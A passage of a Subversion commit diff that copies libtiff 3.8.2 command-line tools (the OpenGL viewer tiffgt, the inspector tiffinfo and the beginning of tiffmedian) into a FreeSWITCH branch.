+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffgt.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,455 @@
+/* $Id: tiffgt.c,v 1.7 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ * Copyright (c) 2003, Andrey Kiselev <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#if HAVE_APPLE_OPENGL_FRAMEWORK
+# include <OpenGL/gl.h>
+# include <GLUT/glut.h>
+#else
+# include <GL/gl.h>
+# include <GL/glut.h>
+#endif
+
+#include "tiffio.h"
+
+#ifndef HAVE_GETOPT
+extern int getopt(int, char**, char*);
+#endif
+
+static  uint32  width = 0, height = 0;          /* window width & height */
+static  uint32* raster = NULL;                  /* displayable image */
+static TIFFRGBAImage img;
+static int      order0 = 0, order;
+static uint16   photo0 = (uint16) -1, photo;
+static int      stoponerr = 0;                  /* stop on read error */
+static int      verbose = 0;
+#define TITLE_LENGTH    1024
+static char     title[TITLE_LENGTH];            /* window title line */
+static uint32   xmax, ymax;
+static char**   filelist = NULL;
+static int      fileindex;
+static int      filenum;
+static TIFFErrorHandler oerror;
+static TIFFErrorHandler owarning;
+
+static void	cleanup_and_exit(void);
+static int	initImage(void);
+static int	prevImage(void);
+static int	nextImage(void);
+static void	setWindowSize(void);
+static void	usage(void);
+static uint16	photoArg(const char*);
+static void	raster_draw(void);
+static void	raster_reshape(int, int);
+static void	raster_keys(unsigned char, int, int);
+static void	raster_special(int, int, int);
+
+extern  char* optarg;
+extern  int optind;
+static TIFF* tif = NULL;
+
+int
+main(int argc, char* argv[])
+{
+        int c;
+        int dirnum = -1;
+        uint32 diroff = 0;
+
+        oerror = TIFFSetErrorHandler(NULL);
+        owarning = TIFFSetWarningHandler(NULL);
+        while ((c = getopt(argc, argv, "d:o:p:eflmsvw?")) != -1)
+            switch (c) {
+            case 'd':
+                dirnum = atoi(optarg);
+                break;
+            case 'e':
+                oerror = TIFFSetErrorHandler(oerror);
+                break;
+            case 'l':
+                order0 = FILLORDER_LSB2MSB;
+                break;
+            case 'm':
+                order0 = FILLORDER_MSB2LSB;
+                break;
+            case 'o':
+                diroff = strtoul(optarg, NULL, 0);
+                break;
+            case 'p':
+                photo0 = photoArg(optarg);
+                break;
+            case 's':
+                stoponerr = 1;
+                break;
+            case 'w':
+                owarning = TIFFSetWarningHandler(owarning);
+                break;
+            case 'v':
+                verbose = 1;
+                break;
+            case '?':
+                usage();
+                /*NOTREACHED*/
+            }
+        filenum = argc - optind;
+        if ( filenum < 1)
+                usage();
+
+        glutInit(&argc, argv);
+        glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB);
+
+        /*
+         * Get the screen size
+         */
+        xmax = glutGet(GLUT_SCREEN_WIDTH);
+        ymax = glutGet(GLUT_SCREEN_HEIGHT);
+
+        /*
+         * Use 90% of the screen size
+         */
+        xmax = xmax - xmax / 10.0;
+        ymax = ymax - ymax / 10.0;
+
+        filelist = (char **) _TIFFmalloc(filenum * sizeof(char*));
+        if (!filelist) {
+                TIFFError(argv[0], "Can not allocate space for the file list.");
+                return 1;
+        }
+        _TIFFmemcpy(filelist, argv + optind, filenum * sizeof(char*));
+        fileindex = -1;
+        if (nextImage() < 0) {
+                _TIFFfree(filelist);
+                return 2;
+        }
+        /*
+         * Set initial directory if user-specified
+         * file was opened successfully.
+         */
+        if (dirnum != -1 && !TIFFSetDirectory(tif, dirnum))
+            TIFFError(argv[0], "Error, seeking to directory %d", dirnum);
+        if (diroff != 0 && !TIFFSetSubDirectory(tif, diroff))
+            TIFFError(argv[0], "Error, setting subdirectory at %#x", diroff);
+        order = order0;
+        photo = photo0;
+	if (initImage() < 0){
+                _TIFFfree(filelist);
+                return 3;
+        }
+        /*
+         * Create a new window or reconfigure an existing
+         * one to suit the image to be displayed.
+         */
+        glutInitWindowSize(width, height);
+        snprintf(title, TITLE_LENGTH - 1, "%s [%u]", filelist[fileindex],
+                (unsigned int) TIFFCurrentDirectory(tif));
+        glutCreateWindow(title);
+        glutDisplayFunc(raster_draw);
+        glutReshapeFunc(raster_reshape);
+        glutKeyboardFunc(raster_keys);
+        glutSpecialFunc(raster_special);
+        glutMainLoop();
+
+        cleanup_and_exit();
+        return 0;
+}
+
+static void 
+cleanup_and_exit(void)
+{
+        TIFFRGBAImageEnd(&img);
+        if (filelist != NULL)
+                _TIFFfree(filelist);
+        if (raster != NULL)
+                _TIFFfree(raster);
+        if (tif != NULL)
+                TIFFClose(tif);
+        exit(0);
+}
+
+static int
+initImage(void)
+{
+        uint32 w, h;
+
+        if (order)
+                TIFFSetField(tif, TIFFTAG_FILLORDER, order);
+        if (photo != (uint16) -1)
+                TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, photo);
+        if (!TIFFRGBAImageBegin(&img, tif, stoponerr, title)) {
+                TIFFError(filelist[fileindex], title);
+                TIFFClose(tif);
+                tif = NULL;
+                return -1;
+        }
+
+        /*
+         * Setup the image raster as required.
+         */
+        h = img.height;
+        w = img.width;
+        if (h > ymax) {
+                w = (int)(w * ((float)ymax / h));
+                h = ymax;
+        }
+        if (w > xmax) {
+                h = (int)(h * ((float)xmax / w));
+                w = xmax;
+        }
+
+        if (w != width || h != height) {
+            if (raster != NULL)
+                _TIFFfree(raster), raster = NULL;
+            raster = (uint32*) _TIFFmalloc(img.width * img.height * sizeof (uint32));
+            if (raster == NULL) {
+                width = height = 0;
+                TIFFError(filelist[fileindex], "No space for raster buffer");
+                cleanup_and_exit();
+            }
+            width = w;
+            height = h;
+        }
+        TIFFRGBAImageGet(&img, raster, img.width, img.height);
+#if HOST_BIGENDIAN
+        TIFFSwabArrayOfLong(raster,img.width*img.height);
+#endif
+	return 0;
+}
+
+static int
+prevImage(void)
+{
+        if (fileindex > 0)
+                fileindex--;
+        else if (tif)
+                return fileindex;
+        if (tif)
+                TIFFClose(tif);
+        tif = TIFFOpen(filelist[fileindex], "r");
+        if (tif == NULL)
+                return -1;
+        return fileindex;
+}
+
+static int
+nextImage(void)
+{
+        if (fileindex < filenum - 1)
+                fileindex++;
+        else if (tif)
+                return fileindex;
+        if (tif)
+                TIFFClose(tif);
+        tif = TIFFOpen(filelist[fileindex], "r");
+        if (tif == NULL)
+                return -1;
+        return fileindex;
+}
+
+static void
+setWindowSize(void)
+{
+        glutReshapeWindow(width, height);
+}
+
+static void
+raster_draw(void)
+{
+  glDrawPixels(img.width, img.height, GL_RGBA, GL_UNSIGNED_BYTE, (const GLvoid *) raster);
+}
+
+static void
+raster_reshape(int win_w, int win_h)
+{
+        GLfloat xratio = (GLfloat)win_w/img.width;
+        GLfloat yratio = (GLfloat)win_h/img.height;
+        int     ratio = (int)(((xratio > yratio)?xratio:yratio) * 100);
+
+        glPixelZoom(xratio, yratio);
+        glViewport(0, 0, win_w, win_h);
+        snprintf(title, 1024, "%s [%u] %d%%", filelist[fileindex],
+                (unsigned int) TIFFCurrentDirectory(tif), ratio);
+        glutSetWindowTitle(title);
+}
+
+static void
+raster_keys(unsigned char key, int x, int y)
+{
+        switch (key) {
+                case 'b':                       /* photometric MinIsBlack */
+                    photo = PHOTOMETRIC_MINISBLACK;
+                    initImage();
+                    break;
+                case 'l':                       /* lsb-to-msb FillOrder */
+                    order = FILLORDER_LSB2MSB;
+                    initImage();
+                    break;
+                case 'm':                       /* msb-to-lsb FillOrder */
+                    order = FILLORDER_MSB2LSB;
+                    initImage();
+                    break;
+                case 'w':                       /* photometric MinIsWhite */
+                    photo = PHOTOMETRIC_MINISWHITE;
+                    initImage();
+                    break;
+                case 'W':                       /* toggle warnings */
+                    owarning = TIFFSetWarningHandler(owarning);
+                    initImage();
+                    break;
+                case 'E':                       /* toggle errors */
+                    oerror = TIFFSetErrorHandler(oerror);
+                    initImage();
+                    break;
+                case 'z':                       /* reset to defaults */
+                case 'Z':
+                    order = order0;
+                    photo = photo0;
+                    if (owarning == NULL)
+                        owarning = TIFFSetWarningHandler(NULL);
+                    if (oerror == NULL)
+                        oerror = TIFFSetErrorHandler(NULL);
+                    initImage();
+                    break;
+                case 'q':                       /* exit */
+                case '\033':
+                    cleanup_and_exit();
+        }
+        glutPostRedisplay();
+}
+
+static void
+raster_special(int key, int x, int y)
+{
+        switch (key) {
+                case GLUT_KEY_PAGE_UP:          /* previous logical image */
+                    if (TIFFCurrentDirectory(tif) > 0) {
+                            if (TIFFSetDirectory(tif,
+                                                 TIFFCurrentDirectory(tif)-1)) {
+                                    initImage();
+                                    setWindowSize();
+                        }
+                    } else {
+                            TIFFRGBAImageEnd(&img);
+                            prevImage();
+                            initImage();
+                            setWindowSize();
+                    }
+                break;
+                case GLUT_KEY_PAGE_DOWN:        /* next logical image */
+                    if (!TIFFLastDirectory(tif)) {
+                            if (TIFFReadDirectory(tif)) {
+                                    initImage();
+                                    setWindowSize();
+                            }
+                    } else {
+                            TIFFRGBAImageEnd(&img);
+                            nextImage();
+                            initImage();
+                            setWindowSize();
+                    }
+                break;
+                case GLUT_KEY_HOME:             /* 1st image in current file */
+                        if (TIFFSetDirectory(tif, 0)) {
+                                TIFFRGBAImageEnd(&img);
+                                initImage();
+                                setWindowSize();
+                        }
+                break;
+                case GLUT_KEY_END:              /* last image in current file */
+                        TIFFRGBAImageEnd(&img);
+                        while (!TIFFLastDirectory(tif))
+                                TIFFReadDirectory(tif);
+                        initImage();
+                        setWindowSize();
+                break;
+        }
+        glutPostRedisplay();
+}
+
+
+
+char* stuff[] = {
+"usage: tiffgt [options] file.tif",
+"where options are:",
+" -c            use colormap visual",
+" -d dirnum     set initial directory (default is 0)",
+" -e            enable display of TIFF error messages",
+" -l            force lsb-to-msb FillOrder",
+" -m            force msb-to-lsb FillOrder",
+" -o offset     set initial directory offset",
+" -p photo      override photometric interpretation",
+" -r            use fullcolor visual",
+" -s            stop decoding on first error (default is ignore errors)",
+" -v            enable verbose mode",
+" -w            enable display of TIFF warning messages",
+NULL
+};
+
+static void
+usage(void)
+{
+        char buf[BUFSIZ];
+        int i;
+
+        setbuf(stderr, buf);
+                fprintf(stderr, "%s\n\n", TIFFGetVersion());
+        for (i = 0; stuff[i] != NULL; i++)
+                fprintf(stderr, "%s\n", stuff[i]);
+        exit(-1);
+}
+
+static uint16
+photoArg(const char* arg)
+{
+        if (strcmp(arg, "miniswhite") == 0)
+            return (PHOTOMETRIC_MINISWHITE);
+        else if (strcmp(arg, "minisblack") == 0)
+            return (PHOTOMETRIC_MINISBLACK);
+        else if (strcmp(arg, "rgb") == 0)
+            return (PHOTOMETRIC_RGB);
+        else if (strcmp(arg, "palette") == 0)
+            return (PHOTOMETRIC_PALETTE);
+        else if (strcmp(arg, "mask") == 0)
+            return (PHOTOMETRIC_MASK);
+        else if (strcmp(arg, "separated") == 0)
+            return (PHOTOMETRIC_SEPARATED);
+        else if (strcmp(arg, "ycbcr") == 0)
+            return (PHOTOMETRIC_YCBCR);
+        else if (strcmp(arg, "cielab") == 0)
+            return (PHOTOMETRIC_CIELAB);
+        else if (strcmp(arg, "logl") == 0)
+            return (PHOTOMETRIC_LOGL);
+        else if (strcmp(arg, "logluv") == 0)
+            return (PHOTOMETRIC_LOGLUV);
+        else
+            return ((uint16) -1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffinfo.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffinfo.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffinfo.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffinfo.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffinfo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,449 @@
+/* $Id: tiffinfo.c,v 1.8 2005/12/09 14:52:48 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef HAVE_STRINGS_H
+# include <strings.h>
+#endif
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	streq(a,b)	(strcasecmp(a,b) == 0)
+
+int	showdata = 0;			/* show data */
+int	rawdata = 0;			/* show raw/decoded data */
+int	showwords = 0;			/* show data as bytes/words */
+int	readdata = 0;			/* read data in file */
+int	stoponerr = 1;			/* stop on first read error */
+
+static	void usage(void);
+static	void tiffinfo(TIFF*, uint16, long);
+
+int
+main(int argc, char* argv[])
+{
+	int dirnum = -1, multiplefiles, c;
+	uint16 order = 0;
+	TIFF* tif;
+	extern int optind;
+	extern char* optarg;
+	long flags = 0;
+	uint32 diroff = 0;
+	int chopstrips = 0;		/* disable strip chopping */
+
+	while ((c = getopt(argc, argv, "f:o:cdDSjilmrsvwz0123456789")) != -1)
+		switch (c) {
+		case '0': case '1': case '2': case '3':
+		case '4': case '5': case '6': case '7':
+		case '8': case '9':
+			dirnum = atoi(&argv[optind-1][1]);
+			break;
+		case 'd':
+			showdata++;
+			/* fall thru... */
+		case 'D':
+			readdata++;
+			break;
+		case 'c':
+			flags |= TIFFPRINT_COLORMAP | TIFFPRINT_CURVES;
+			break;
+		case 'f':		/* fill order */
+			if (streq(optarg, "lsb2msb"))
+				order = FILLORDER_LSB2MSB;
+			else if (streq(optarg, "msb2lsb"))
+				order = FILLORDER_MSB2LSB;
+			else
+				usage();
+			break;
+		case 'i':
+			stoponerr = 0;
+			break;
+		case 'o':
+			diroff = strtoul(optarg, NULL, 0);
+			break;
+		case 'j':
+			flags |= TIFFPRINT_JPEGQTABLES |
+				 TIFFPRINT_JPEGACTABLES |
+				 TIFFPRINT_JPEGDCTABLES;
+			break;
+		case 'r':
+			rawdata = 1;
+			break;
+		case 's':
+			flags |= TIFFPRINT_STRIPS;
+			break;
+		case 'w':
+			showwords = 1;
+			break;
+		case 'z':
+			chopstrips = 1;
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (optind >= argc)
+		usage();
+	multiplefiles = (argc - optind > 1);
+	for (; optind < argc; optind++) {
+		if (multiplefiles)
+			printf("%s:\n", argv[optind]);
+		tif = TIFFOpen(argv[optind], chopstrips ? "rC" : "rc");
+		if (tif != NULL) {
+			if (dirnum != -1) {
+				if (TIFFSetDirectory(tif, (tdir_t) dirnum))
+					tiffinfo(tif, order, flags);
+			} else if (diroff != 0) {
+				if (TIFFSetSubDirectory(tif, diroff))
+					tiffinfo(tif, order, flags);
+			} else {
+				do {
+					uint32 offset;
+
+					tiffinfo(tif, order, flags);
+					if (TIFFGetField(tif, TIFFTAG_EXIFIFD,
+							 &offset)) {
+						if (TIFFReadEXIFDirectory(tif, offset))
+							tiffinfo(tif, order, flags);
+					}
+				} while (TIFFReadDirectory(tif));
+			}
+			TIFFClose(tif);
+		}
+	}
+	return (0);
+}
+
+char* stuff[] = {
+"usage: tiffinfo [options] input...",
+"where options are:",
+" -D		read data",
+" -i		ignore read errors",
+" -c		display data for grey/color response curve or colormap",
+" -d		display raw/decoded image data",
+" -f lsb2msb	force lsb-to-msb FillOrder for input",
+" -f msb2lsb	force msb-to-lsb FillOrder for input",
+" -j		show JPEG tables",
+" -o offset	set initial directory offset",
+" -r		read/display raw image data instead of decoded data",
+" -s		display strip offsets and byte counts",
+" -w		display raw data in words rather than bytes",
+" -z		enable strip chopping",
+" -#		set initial directory (first directory is # 0)",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+static void
+ShowStrip(tstrip_t strip, unsigned char* pp, uint32 nrow, tsize_t scanline)
+{
+	register tsize_t cc;
+
+	printf("Strip %lu:\n", (unsigned long) strip);
+	while (nrow-- > 0) {
+		for (cc = 0; cc < scanline; cc++) {
+			printf(" %02x", *pp++);
+			if (((cc+1) % 24) == 0)
+				putchar('\n');
+		}
+		putchar('\n');
+	}
+}
+
+void
+TIFFReadContigStripData(TIFF* tif)
+{
+	unsigned char *buf;
+	tsize_t scanline = TIFFScanlineSize(tif);
+
+	buf = (unsigned char *)_TIFFmalloc(TIFFStripSize(tif));
+	if (buf) {
+		uint32 row, h;
+		uint32 rowsperstrip = (uint32)-1;
+
+		TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h);
+		TIFFGetField(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+		for (row = 0; row < h; row += rowsperstrip) {
+			uint32 nrow = (row+rowsperstrip > h ?
+			    h-row : rowsperstrip);
+			tstrip_t strip = TIFFComputeStrip(tif, row, 0);
+			if (TIFFReadEncodedStrip(tif, strip, buf, nrow*scanline) < 0) {
+				if (stoponerr)
+					break;
+			} else if (showdata)
+				ShowStrip(strip, buf, nrow, scanline);
+		}
+		_TIFFfree(buf);
+	}
+}
+
+void
+TIFFReadSeparateStripData(TIFF* tif)
+{
+	unsigned char *buf;
+	tsize_t scanline = TIFFScanlineSize(tif);
+
+	buf = (unsigned char *)_TIFFmalloc(TIFFStripSize(tif));
+	if (buf) {
+		uint32 row, h;
+		uint32 rowsperstrip = (uint32)-1;
+		tsample_t s, samplesperpixel;
+
+		TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h);
+		TIFFGetField(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+		TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
+		for (row = 0; row < h; row += rowsperstrip) {
+			for (s = 0; s < samplesperpixel; s++) {
+				uint32 nrow = (row+rowsperstrip > h ?
+				    h-row : rowsperstrip);
+				tstrip_t strip = TIFFComputeStrip(tif, row, s);
+				if (TIFFReadEncodedStrip(tif, strip, buf, nrow*scanline) < 0) {
+					if (stoponerr)
+						break;
+				} else if (showdata)
+					ShowStrip(strip, buf, nrow, scanline);
+			}
+		}
+		_TIFFfree(buf);
+	}
+}
+
+static void
+ShowTile(uint32 row, uint32 col, tsample_t sample,
+    unsigned char* pp, uint32 nrow, uint32 rowsize)
+{
+	uint32 cc;
+
+	printf("Tile (%lu,%lu", (unsigned long) row, (unsigned long) col);
+	if (sample != (tsample_t) -1)
+		printf(",%u", sample);
+	printf("):\n");
+	while (nrow-- > 0) {
+		for (cc = 0; cc < rowsize; cc++) {
+			printf(" %02x", *pp++);
+			if (((cc+1) % 24) == 0)
+				putchar('\n');
+		}
+		putchar('\n');
+	}
+}
+
+void
+TIFFReadContigTileData(TIFF* tif)
+{
+	unsigned char *buf;
+	tsize_t rowsize = TIFFTileRowSize(tif);
+
+	buf = (unsigned char *)_TIFFmalloc(TIFFTileSize(tif));
+	if (buf) {
+		uint32 tw, th, w, h;
+		uint32 row, col;
+
+		TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &w);
+		TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h);
+		TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tw);
+		TIFFGetField(tif, TIFFTAG_TILELENGTH, &th);
+		for (row = 0; row < h; row += th) {
+			for (col = 0; col < w; col += tw) {
+				if (TIFFReadTile(tif, buf, col, row, 0, 0) < 0) {
+					if (stoponerr)
+						break;
+				} else if (showdata)
+					ShowTile(row, col, (tsample_t) -1, buf, th, rowsize);
+			}
+		}
+		_TIFFfree(buf);
+	}
+}
+
+void
+TIFFReadSeparateTileData(TIFF* tif)
+{
+	unsigned char *buf;
+	tsize_t rowsize = TIFFTileRowSize(tif);
+
+	buf = (unsigned char *)_TIFFmalloc(TIFFTileSize(tif));
+	if (buf) {
+		uint32 tw, th, w, h;
+		uint32 row, col;
+		tsample_t s, samplesperpixel;
+
+		TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &w);
+		TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h);
+		TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tw);
+		TIFFGetField(tif, TIFFTAG_TILELENGTH, &th);
+		TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
+		for (row = 0; row < h; row += th) {
+			for (col = 0; col < w; col += tw) {
+				for (s = 0; s < samplesperpixel; s++) {
+					if (TIFFReadTile(tif, buf, col, row, 0, s) < 0) {
+						if (stoponerr)
+							break;
+					} else if (showdata)
+						ShowTile(row, col, s, buf, th, rowsize);
+				}
+			}
+		}
+		_TIFFfree(buf);
+	}
+}
+
+void
+TIFFReadData(TIFF* tif)
+{
+	uint16 config;
+
+	TIFFGetField(tif, TIFFTAG_PLANARCONFIG, &config);
+	if (TIFFIsTiled(tif)) {
+		if (config == PLANARCONFIG_CONTIG)
+			TIFFReadContigTileData(tif);
+		else
+			TIFFReadSeparateTileData(tif);
+	} else {
+		if (config == PLANARCONFIG_CONTIG)
+			TIFFReadContigStripData(tif);
+		else
+			TIFFReadSeparateStripData(tif);
+	}
+}
+
+static void
+ShowRawBytes(unsigned char* pp, uint32 n)
+{
+	uint32 i;
+
+	for (i = 0; i < n; i++) {
+		printf(" %02x", *pp++);
+		if (((i+1) % 24) == 0)
+			printf("\n ");
+	}
+	putchar('\n');
+}
+
+static void
+ShowRawWords(uint16* pp, uint32 n)
+{
+	uint32 i;
+
+	for (i = 0; i < n; i++) {
+		printf(" %04x", *pp++);
+		if (((i+1) % 15) == 0)
+			printf("\n ");
+	}
+	putchar('\n');
+}
+
+void
+TIFFReadRawData(TIFF* tif, int bitrev)
+{
+	tstrip_t nstrips = TIFFNumberOfStrips(tif);
+	const char* what = TIFFIsTiled(tif) ? "Tile" : "Strip";
+	uint32* stripbc;
+
+	TIFFGetField(tif, TIFFTAG_STRIPBYTECOUNTS, &stripbc);
+	if (nstrips > 0) {
+		uint32 bufsize = stripbc[0];
+		tdata_t buf = _TIFFmalloc(bufsize);
+		tstrip_t s;
+
+		for (s = 0; s < nstrips; s++) {
+			if (stripbc[s] > bufsize) {
+				buf = _TIFFrealloc(buf, stripbc[s]);
+				bufsize = stripbc[s];
+			}
+			if (buf == NULL) {
+				fprintf(stderr,
+				   "Cannot allocate buffer to read strip %lu\n",
+				    (unsigned long) s);
+				break;
+			}
+			if (TIFFReadRawStrip(tif, s, buf, stripbc[s]) < 0) {
+				fprintf(stderr, "Error reading strip %lu\n",
+				    (unsigned long) s);
+				if (stoponerr)
+					break;
+			} else if (showdata) {
+				if (bitrev) {
+					TIFFReverseBits(buf, stripbc[s]);
+					printf("%s %lu: (bit reversed)\n ",
+					    what, (unsigned long) s);
+				} else
+					printf("%s %lu:\n ", what,
+					    (unsigned long) s);
+				if (showwords)
+					ShowRawWords((uint16*) buf, stripbc[s]>>1);
+				else
+					ShowRawBytes((unsigned char*) buf, stripbc[s]);
+			}
+		}
+		if (buf != NULL)
+			_TIFFfree(buf);
+	}
+}
+
+static void
+tiffinfo(TIFF* tif, uint16 order, long flags)
+{
+	TIFFPrintDirectory(tif, stdout, flags);
+	if (!readdata)
+		return;
+	if (rawdata) {
+		if (order) {
+			uint16 o;
+			TIFFGetFieldDefaulted(tif,
+			    TIFFTAG_FILLORDER, &o);
+			TIFFReadRawData(tif, o != order);
+		} else
+			TIFFReadRawData(tif, 0);
+	} else {
+		if (order)
+			TIFFSetField(tif, TIFFTAG_FILLORDER, order);
+		TIFFReadData(tif);
+	}
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffmedian.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffmedian.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffmedian.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffmedian.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffmedian.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,895 @@
+/* $Id: tiffmedian.c,v 1.8 2004/09/09 18:06:14 fwarmerdam Exp $ */
+
+/*
+ * Apply median cut on an image.
+ *
+ * tiffmedian [-c n] [-f] input output
+ *     -C n		- set colortable size.  Default is 256.
+ *     -f		- use Floyd-Steinberg dithering.
+ *     -c lzw		- compress output with LZW 
+ *     -c none		- use no compression on output
+ *     -c packbits	- use packbits compression on output
+ *     -r n		- create output with n rows/strip of data
+ * (by default the compression scheme and rows/strip are taken
+ *  from the input file)
+ *
+ * Notes:
+ *
+ * [1] Floyd-Steinberg dither:
+ *  I should point out that the actual fractions we used were, assuming
+ *  you are at X, moving left to right:
+ *
+ *		    X     7/16
+ *	     3/16   5/16  1/16    
+ *
+ *  Note that the error goes to four neighbors, not three.  I think this
+ *  will probably do better (at least for black and white) than the
+ *  3/8-3/8-1/4 distribution, at the cost of greater processing.  I have
+ *  seen the 3/8-3/8-1/4 distribution described as "our" algorithm before,
+ *  but I have no idea who the credit really belongs to.
+
+ *  Also, I should add that if you do zig-zag scanning (see my immediately
+ *  previous message), it is sufficient (but not quite as good) to send
+ *  half the error one pixel ahead (e.g. to the right on lines you scan
+ *  left to right), and half one pixel straight down.  Again, this is for
+ *  black and white;  I've not tried it with color.
+ *  -- 
+ *					    Lou Steinberg
+ *
+ * [2] Color Image Quantization for Frame Buffer Display, Paul Heckbert,
+ *	Siggraph '82 proceedings, pp. 297-307
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	MAX_CMAP_SIZE	256
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+#define	COLOR_DEPTH	8
+#define	MAX_COLOR	256
+
+#define	B_DEPTH		5		/* # bits/pixel to use */
+#define	B_LEN		(1L<<B_DEPTH)
+
+#define	C_DEPTH		2
+#define	C_LEN		(1L<<C_DEPTH)	/* # cells/color to use */
+
+#define	COLOR_SHIFT	(COLOR_DEPTH-B_DEPTH)
+
+typedef	struct colorbox {
+	struct	colorbox *next, *prev;
+	int	rmin, rmax;
+	int	gmin, gmax;
+	int	bmin, bmax;
+	uint32	total;
+} Colorbox;
+
+typedef struct {
+	int	num_ents;
+	int	entries[MAX_CMAP_SIZE][2];
+} C_cell;
+
+uint16	rm[MAX_CMAP_SIZE], gm[MAX_CMAP_SIZE], bm[MAX_CMAP_SIZE];
+int	num_colors;
+uint32	histogram[B_LEN][B_LEN][B_LEN];
+Colorbox *freeboxes;
+Colorbox *usedboxes;
+C_cell	**ColorCells;
+TIFF	*in, *out;
+uint32	rowsperstrip = (uint32) -1;
+uint16	compression = (uint16) -1;
+uint16	bitspersample = 1;
+uint16	samplesperpixel;
+uint32	imagewidth;
+uint32	imagelength;
+uint16	predictor = 0;
+
+static	void get_histogram(TIFF*, Colorbox*);
+static	void splitbox(Colorbox*);
